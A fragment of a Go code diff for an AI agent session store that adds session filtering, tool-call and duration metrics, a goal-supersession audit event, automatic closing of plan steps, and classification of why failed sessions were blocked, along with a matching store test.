|
||||||
|
var (
|
||||||
|
where []string
|
||||||
|
args []any
|
||||||
|
n = 1
|
||||||
|
)
|
||||||
|
if f.Outcome != "" {
|
||||||
|
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
|
||||||
|
args = append(args, f.Outcome)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.Status != "" {
|
||||||
|
where = append(where, fmt.Sprintf("s.status = $%d", n))
|
||||||
|
args = append(args, f.Status)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.EntityID != "" {
|
||||||
|
// Accept UUID or string; cast gracefully if invalid.
|
||||||
|
if _, err := uuid.Parse(f.EntityID); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
|
||||||
|
args = append(args, f.EntityID)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if f.Blocker != "" {
|
||||||
|
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
|
||||||
|
args = append(args, f.Blocker)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.Since != "" {
|
||||||
|
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
|
||||||
|
// Try timestamp first, fall back to duration relative to now.
|
||||||
|
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
|
||||||
|
args = append(args, t)
|
||||||
|
n++
|
||||||
|
} else if d, err := time.ParseDuration(f.Since); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
|
||||||
|
args = append(args, d.Seconds())
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
// Unknown format: silently drop the filter — better than erroring
|
||||||
|
// out and breaking the whole list. Caller can validate if needed.
|
||||||
|
}
|
||||||
|
if f.Cursor != "" {
|
||||||
|
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
|
||||||
|
args = append(args, t)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
whereClause := ""
|
||||||
|
if len(where) > 0 {
|
||||||
|
whereClause = "WHERE " + strings.Join(where, " AND ")
|
||||||
|
}
|
||||||
|
args = append(args, f.Limit)
|
||||||
|
limitArg := fmt.Sprintf("$%d", n)
|
||||||
|
|
||||||
|
query := fmt.Sprintf(`
|
||||||
|
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
COALESCE(s.entity_id::text, ''),
|
COALESCE(s.entity_id::text, ''),
|
||||||
COALESCE(pa.cnt, 0),
|
COALESCE(pa.cnt, 0),
|
||||||
s.created_at, s.last_active_at
|
COALESCE(s.blocker, ''),
|
||||||
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
FROM agent_sessions s
|
FROM agent_sessions s
|
||||||
LEFT JOIN (
|
LEFT JOIN (
|
||||||
SELECT l.session_id, COUNT(*) AS cnt
|
SELECT l.session_id, COUNT(*) AS cnt
|
||||||
@@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
|||||||
WHERE e.status = 'pending_approval'
|
WHERE e.status = 'pending_approval'
|
||||||
GROUP BY l.session_id
|
GROUP BY l.session_id
|
||||||
) pa ON pa.session_id = s.id
|
) pa ON pa.session_id = s.id
|
||||||
ORDER BY s.last_active_at DESC LIMIT 50`)
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
%s
|
||||||
|
ORDER BY s.last_active_at DESC
|
||||||
|
LIMIT %s`, whereClause, limitArg)
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, query, args...)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
|||||||
var sess session
|
var sess session
|
||||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
out = append(out, sess)
|
out = append(out, sess)
|
||||||
@@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
|
|||||||
}
|
}
|
||||||
var sess session
|
var sess session
|
||||||
err := s.pool.QueryRow(ctx,
|
err := s.pool.QueryRow(ctx,
|
||||||
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
|
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
|
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
|
||||||
FROM agent_sessions WHERE id = $1`, id).
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
|
FROM agent_sessions s
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
WHERE session_id = $1::uuid
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
AND session_id::uuid = $1::uuid
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
WHERE s.id = $1`, id).
|
||||||
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
&sess.CreatedAt, &sess.LastActiveAt)
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
return &sess, nil
|
return &sess, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// recentPartialSessions returns recent sessions (within `since`) whose outcome
|
||||||
|
// is partial or failed, excluding the current session. Used by the set_goal
|
||||||
|
// handler to surface prior unfinished work on the same problem — three
|
||||||
|
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
|
||||||
|
// the classifier because each new session started from scratch. Surfacing the
|
||||||
|
// prior session's goal + summary at set_goal time lets the agent pick up the
|
||||||
|
// thread instead of rediscovering it. See
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
|
||||||
|
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
|
||||||
|
if s == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rows, err := s.pool.Query(ctx,
|
||||||
|
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
|
COALESCE(s.entity_id::text, ''),
|
||||||
|
COALESCE(pa.cnt, 0),
|
||||||
|
COALESCE(s.blocker, ''),
|
||||||
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
|
FROM agent_sessions s
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT l.session_id, COUNT(*) AS cnt
|
||||||
|
FROM nomos_plan_executions l
|
||||||
|
JOIN executions e ON e.entity_id = l.execution_id
|
||||||
|
WHERE e.status = 'pending_approval'
|
||||||
|
GROUP BY l.session_id
|
||||||
|
) pa ON pa.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
WHERE s.id <> $1
|
||||||
|
AND s.last_active_at >= now() - ($2 * interval '1 second')
|
||||||
|
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
|
||||||
|
ORDER BY s.last_active_at DESC
|
||||||
|
LIMIT 10`,
|
||||||
|
excludeSessionID, since.Seconds())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var out []session
|
||||||
|
for rows.Next() {
|
||||||
|
var sess session
|
||||||
|
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, sess)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
// getMessages returns a session's ENTIRE message history, unbounded — used
|
// getMessages returns a session's ENTIRE message history, unbounded — used
|
||||||
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
||||||
// should be able to see everything a task has done regardless of how long
|
// should be able to see everything a task has done regardless of how long
|
||||||
@@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
|
|||||||
return out, rows.Err()
|
return out, rows.Err()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SessionToolCall is the flat view of one tool call as exposed by
|
||||||
|
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
|
||||||
|
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
|
||||||
|
// the caller can decide how to render them (the audit case wanted raw
|
||||||
|
// text sizes, but other callers may want full JSON).
|
||||||
|
type SessionToolCall struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Args json.RawMessage `json:"args,omitempty"`
|
||||||
|
Result json.RawMessage `json:"result,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
|
||||||
|
MessageID string `json:"message_id"`
|
||||||
|
Role string `json:"role"`
|
||||||
|
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// getSessionToolCalls walks a session's messages and returns a flat list of
|
||||||
|
// tool calls in chronological order, without the two-level message nesting.
|
||||||
|
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
|
||||||
|
// write Python to walk messages[].content.tool_calls[]; this method makes
|
||||||
|
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
|
||||||
|
// is emitted as two rows (same id, different Type), preserving the
|
||||||
|
// persisted shape — clients that want the merged shape can group by ID.
|
||||||
|
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
|
||||||
|
if s == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
msgs, err := s.getMessages(ctx, sessionID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var out []SessionToolCall
|
||||||
|
seq := 0
|
||||||
|
for _, m := range msgs {
|
||||||
|
var payload struct {
|
||||||
|
ToolCalls []struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Args json.RawMessage `json:"args"`
|
||||||
|
Result json.RawMessage `json:"result"`
|
||||||
|
Error string `json:"error"`
|
||||||
|
} `json:"tool_calls"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(m.Content, &payload); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, tc := range payload.ToolCalls {
|
||||||
|
if tc.ID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seq++
|
||||||
|
out = append(out, SessionToolCall{
|
||||||
|
ID: tc.ID,
|
||||||
|
Name: tc.Name,
|
||||||
|
Args: tc.Args,
|
||||||
|
Result: tc.Result,
|
||||||
|
Error: tc.Error,
|
||||||
|
Type: tc.Type,
|
||||||
|
MessageID: m.ID,
|
||||||
|
Role: m.Role,
|
||||||
|
Seq: seq,
|
||||||
|
CreatedAt: m.CreatedAt,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
||||||
// in chronological order, plus whether older messages exist beyond that
|
// in chronological order, plus whether older messages exist beyond that
|
||||||
// window. Used specifically for LLM replay (chatWith): without a bound,
|
// window. Used specifically for LLM replay (chatWith): without a bound,
|
||||||
@@ -492,10 +768,34 @@ func (s *store) taskEntityPtr(ctx context.Context, sessionID string) *uuid.UUID
|
|||||||
// happens — not in reopenSession — because set_goal is the explicit signal
|
// happens — not in reopenSession — because set_goal is the explicit signal
|
||||||
// for "new sub-task." An approval ("go ahead") does NOT call set_goal, so it
|
// for "new sub-task." An approval ("go ahead") does NOT call set_goal, so it
|
||||||
// won't destroy the plan the operator just approved.
|
// won't destroy the plan the operator just approved.
|
||||||
|
//
|
||||||
|
// P1.4 (2026-07-18): when a non-empty prior goal is being overwritten by a
|
||||||
|
// different goal, emit a `task.superseded` event carrying the prior goal.
|
||||||
|
// This gives the UI/audit trail a clear signal that the operator pivoted —
|
||||||
|
// without it, the prior goal just silently disappears from
|
||||||
|
// agent_sessions.goal and there's no record the session ever had a
|
||||||
|
// different starting intent. See plans/2026-07-18-session-review-three-
|
||||||
|
// sessions.md P1.4 (session 55927f0a had two set_goal calls with the first
|
||||||
|
// implicitly abandoned when the operator said "lets just keep ludo-library
|
||||||
|
// then").
|
||||||
func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
||||||
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
// Capture the prior goal BEFORE the UPDATE overwrites it. If non-empty
|
||||||
|
// and different from the new goal, emit task.superseded so the audit
|
||||||
|
// trail records the pivot — the row's goal column won't.
|
||||||
|
var priorGoal string
|
||||||
|
s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COALESCE(goal, '') FROM agent_sessions WHERE id = $1`,
|
||||||
|
sessionID).Scan(&priorGoal)
|
||||||
|
if priorGoal != "" && priorGoal != goal {
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.superseded",
|
||||||
|
s.taskEntityPtr(ctx, sessionID), "info", "nomos", sessionID,
|
||||||
|
map[string]any{"prior_goal": priorGoal, "new_goal": goal})
|
||||||
|
slog.Info("nomos: task goal superseded by a new set_goal",
|
||||||
|
"session", sessionID, "prior_goal", priorGoal, "new_goal", goal)
|
||||||
|
}
|
||||||
// Replace any prior plan steps (done/running/pending/...) as `replaced`.
|
// Replace any prior plan steps (done/running/pending/...) as `replaced`.
|
||||||
// The rows are kept for the generation counter + audit trail; proposePlan
|
// The rows are kept for the generation counter + audit trail; proposePlan
|
||||||
// excludes `replaced` from its in-flight check, so the next propose_plan
|
// excludes `replaced` from its in-flight check, so the next propose_plan
|
||||||
@@ -504,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
|||||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||||
sessionID)
|
sessionID)
|
||||||
if _, err := s.pool.Exec(ctx,
|
if _, err := s.pool.Exec(ctx,
|
||||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
|
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
|
||||||
sessionID, goal); err != nil {
|
sessionID, goal); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -785,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
||||||
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
||||||
|
|
||||||
|
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
|
||||||
|
// doesn't need an update_plan_step(running)→update_plan_step(done)
|
||||||
|
// dance for each step right before completion. Session 8c76bb3a
|
||||||
|
// (greeting + title-sync test) burned 4 update_plan_step calls for a
|
||||||
|
// one-step plan. completeTask is the authoritative terminal — any
|
||||||
|
// step still in pending/running when the task ends is closed (as
|
||||||
|
// "done" for success, "skipped" for partial/failure) so the UI's plan
|
||||||
|
// view doesn't show orphaned running steps on a completed task.
|
||||||
|
// Replaced/cancelled/blocked steps are left alone.
|
||||||
|
closeStatus := "done"
|
||||||
|
if outcome != "success" {
|
||||||
|
closeStatus = "skipped"
|
||||||
|
}
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE session_plan_steps
|
||||||
|
SET status = $2, finished_at = COALESCE(finished_at, now())
|
||||||
|
WHERE session_id = $1 AND status IN ('pending', 'running')`,
|
||||||
|
sessionID, closeStatus); err != nil {
|
||||||
|
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
|
||||||
|
}
|
||||||
|
|
||||||
// Clean up assent and destructive window keys from autonomy_settings.
|
// Clean up assent and destructive window keys from autonomy_settings.
|
||||||
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
||||||
WHERE key LIKE '%:' || $1`, sessionID)
|
WHERE key LIKE '%:' || $1`, sessionID)
|
||||||
@@ -793,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
if outcome == "failure" {
|
if outcome == "failure" {
|
||||||
status = "failed"
|
status = "failed"
|
||||||
}
|
}
|
||||||
|
// P1.5 (2026-07-20): derive a structured blocker reason when the
|
||||||
|
// outcome is partial/failed, so trend analysis can answer "why are
|
||||||
|
// sessions failing?" without parsing free-text summaries. Three
|
||||||
|
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
|
||||||
|
// bounced off the classifier; without a blocker field, the *why* was
|
||||||
|
// buried in the last assistant message. The signatures matched here
|
||||||
|
// are the recurring ones from the 2026-07-20 session audit. Empty for
|
||||||
|
// success — that's not a blocker.
|
||||||
|
blocker := ""
|
||||||
|
if outcome != "success" {
|
||||||
|
blocker = deriveBlocker(ctx, s, sessionID, summary)
|
||||||
|
}
|
||||||
if _, err := s.pool.Exec(ctx, `
|
if _, err := s.pool.Exec(ctx, `
|
||||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
|
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
|
||||||
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
|
blocker = $5, closed_at = now(), last_active_at = now()
|
||||||
|
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
var entID uuid.UUID
|
var entID uuid.UUID
|
||||||
@@ -813,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
}
|
}
|
||||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
||||||
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
||||||
"cancelled_executions": cancelledCount})
|
"cancelled_executions": cancelledCount, "blocker": blocker})
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
|
||||||
|
// reason. Order matters — earlier patterns take precedence. These are the
|
||||||
|
// recurring failure signatures from the 2026-07-20 session audit. A
|
||||||
|
// real-world blocker that doesn't match any of these falls through to
|
||||||
|
// "uncategorized" — better than empty, because empty means "we don't know
|
||||||
|
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
|
||||||
|
var blockerPatterns = []struct {
|
||||||
|
pattern string
|
||||||
|
reason string
|
||||||
|
}{
|
||||||
|
{"queued for approval", "approval_timeout"},
|
||||||
|
{"assent window", "approval_timeout"},
|
||||||
|
{"cancel", "user_abandoned"},
|
||||||
|
{"close this session", "user_abandoned"},
|
||||||
|
{"lets just close", "user_abandoned"},
|
||||||
|
{"classifier flagged", "classifier_overreach"},
|
||||||
|
{"config_mutation", "classifier_overreach"},
|
||||||
|
{"refus", "model_refusal"}, // refuses/refused/refusal
|
||||||
|
{"empty response", "model_empty_response"},
|
||||||
|
{"no local knowledge", "missing_knowledge"},
|
||||||
|
{"can't run", "missing_capability"},
|
||||||
|
{"cannot run", "missing_capability"},
|
||||||
|
{"timeout", "tool_error"},
|
||||||
|
{"error", "tool_error"},
|
||||||
|
}
|
||||||
|
|
||||||
|
// deriveBlocker scans the last assistant message + the summary for known
|
||||||
|
// failure signatures and returns the matching structured reason. Returns
|
||||||
|
// "uncategorized" when outcome is partial/failed but no signature matched —
|
||||||
|
// better than "" because the audit needs to know this WAS blocked, just for
|
||||||
|
// an unknown reason. Returns "" for success outcomes (caller checks first).
|
||||||
|
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
|
||||||
|
// Pull the last assistant text — that's where the agent's parting
|
||||||
|
// words explain why it didn't finish.
|
||||||
|
var lastText string
|
||||||
|
_ = s.pool.QueryRow(ctx, `
|
||||||
|
SELECT content::text FROM agent_messages
|
||||||
|
WHERE session_id = $1 AND role = 'assistant'
|
||||||
|
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
|
||||||
|
haystack := strings.ToLower(lastText + " " + summary)
|
||||||
|
for _, p := range blockerPatterns {
|
||||||
|
if strings.Contains(haystack, p.pattern) {
|
||||||
|
return p.reason
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "uncategorized"
|
||||||
|
}
|
||||||
|
|
||||||
// hadEntityWriteback checks whether this session called update_entity_attributes
|
// hadEntityWriteback checks whether this session called update_entity_attributes
|
||||||
// or create_relationship — used by complete_task to warn the agent when it
|
// or create_relationship — used by complete_task to warn the agent when it
|
||||||
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
||||||
@@ -868,7 +1250,7 @@ type staleGoalSession struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// staleGoalSessions finds sessions that framed themselves as a real task
|
// staleGoalSessions finds sessions that framed themselves as a real task
|
||||||
// (goal != '', so the inline safety net in agent.go intentionally left them
|
// (goal != ”, so the inline safety net in agent.go intentionally left them
|
||||||
// alone) but have sat non-terminal past idleThreshold. completion_nudges
|
// alone) but have sat non-terminal past idleThreshold. completion_nudges
|
||||||
// tells the caller whether to nudge (0) or give up and auto-close (>=1) —
|
// tells the caller whether to nudge (0) or give up and auto-close (>=1) —
|
||||||
// see processIdleSweep in continue.go.
|
// see processIdleSweep in continue.go.
|
||||||
|
|||||||
@@ -311,3 +311,69 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
|||||||
t.Fatal("hadEntityWriteback = false after run+writeback, want true")
|
t.Fatal("hadEntityWriteback = false after run+writeback, want true")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestSetGoal_SupersessionEvent is the store-level proof for P1.4 from
|
||||||
|
// plans/2026-07-18-session-review-three-sessions.md: when setGoal is called
|
||||||
|
// and a non-empty prior goal already exists with a DIFFERENT value, a
|
||||||
|
// task.superseded event must be emitted (so the audit trail records the
|
||||||
|
// pivot — the row's goal column will be overwritten, losing the prior intent
|
||||||
|
// without this event). When the goal is identical OR no prior goal exists,
|
||||||
|
// no supersession event is emitted.
|
||||||
|
//
|
||||||
|
// Background: session 55927f0a had two set_goal calls; the first was
|
||||||
|
// implicitly abandoned when the operator said "lets just keep ludo-library
|
||||||
|
// then." Without the event, the prior goal silently disappeared.
|
||||||
|
func TestSetGoal_SupersededEvent(t *testing.T) {
|
||||||
|
s := newTestStore(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
sess, err := s.createSession(ctx, "goal pivot test")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("createSession: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// First set_goal — no prior, no supersession event expected.
|
||||||
|
if err := s.setGoal(ctx, sess.ID, "Fix sabnzbd download folder to use ludo-lvm"); err != nil {
|
||||||
|
t.Fatalf("setGoal #1: %v", err)
|
||||||
|
}
|
||||||
|
if n := countEvents(ctx, s, sess.ID, "task.superseded"); n != 0 {
|
||||||
|
t.Errorf("after first set_goal: %d task.superseded events, want 0", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Second set_goal with a DIFFERENT goal — supersession event expected.
|
||||||
|
if err := s.setGoal(ctx, sess.ID, "Add NFS export of ludo-lvm to ZimaOS"); err != nil {
|
||||||
|
t.Fatalf("setGoal #2: %v", err)
|
||||||
|
}
|
||||||
|
if n := countEvents(ctx, s, sess.ID, "task.superseded"); n != 1 {
|
||||||
|
t.Errorf("after second set_goal with a different goal: %d task.superseded events, want 1", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Third set_goal with the SAME goal as the second — no new supersession
|
||||||
|
// event (idempotent: same goal is a no-op, not a pivot).
|
||||||
|
if err := s.setGoal(ctx, sess.ID, "Add NFS export of ludo-lvm to ZimaOS"); err != nil {
|
||||||
|
t.Fatalf("setGoal #3: %v", err)
|
||||||
|
}
|
||||||
|
if n := countEvents(ctx, s, sess.ID, "task.superseded"); n != 1 {
|
||||||
|
t.Errorf("after third set_goal with same goal as second: %d task.superseded events, want 1 (no new pivot)", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The session's current goal must be the latest one set.
|
||||||
|
got, err := s.getSession(ctx, sess.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("getSession: %v", err)
|
||||||
|
}
|
||||||
|
if got.Goal != "Add NFS export of ludo-lvm to ZimaOS" {
|
||||||
|
t.Errorf("session goal = %q, want the second (latest) goal", got.Goal)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// countEvents counts observability events of the given type correlated to
|
||||||
|
// the given session. Used by TestSetGoal_SupersededEvent to assert the
|
||||||
|
// task.superseded audit-trail signal was emitted.
|
||||||
|
func countEvents(ctx context.Context, s *store, sessionID, eventType string) int {
|
||||||
|
var n int
|
||||||
|
s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COUNT(*) FROM events WHERE correlation_id = $1 AND type = $2`,
|
||||||
|
sessionID, eventType).Scan(&n)
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
"strings"
|
"strings"
|
